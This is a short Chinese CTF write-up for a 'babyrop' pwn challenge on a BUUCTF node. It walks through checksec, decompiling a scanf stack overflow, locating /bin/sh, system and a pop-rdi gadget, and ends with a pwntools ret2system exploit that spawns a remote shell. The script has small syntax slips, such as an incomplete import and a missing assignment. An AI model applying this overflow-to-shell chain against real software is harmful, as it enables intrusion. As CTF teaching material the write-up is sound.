分析

  • checksec一下

[*]’/home/admin233/下载/babyrop
Arch:amd64-64-little
RELRO:Partial RELRO
Stack:No canary found
NX:NX enabled
PIE:No PIE(0x400000)
Stripped:No

NX保护开启的

  • ida分析
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", v4);
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}

__isoc99_scanf这里有溢出,查看一下v4大小:0x10

接着看一下string,有没有敏感的字符:

  1. 发现在0x601048有/bin/sh字符

再看看有没有system函数,可以看到其地址为:0x400490

exp

ok,写到这里,基本就是通过rop实现利用:

用ROPgadget查一下地址:

可以看到pop rid地址0x400683,ok,接下来就是拼接buf了:

buf = b’a’ * 0x10 + b’a’ *8 + p64(0x400683) + p64(0x601048) + p64(0x400490)

完整代码如下:

1
2
3
4
5
from pwn import
host remote("node5.buuoj.cn",27309)
buf=b'a'*0x10+b'a'*8+p64(0x400683)+p64(0x601048)+p64(0x400490)
host.sendline(buf)
host.interactive()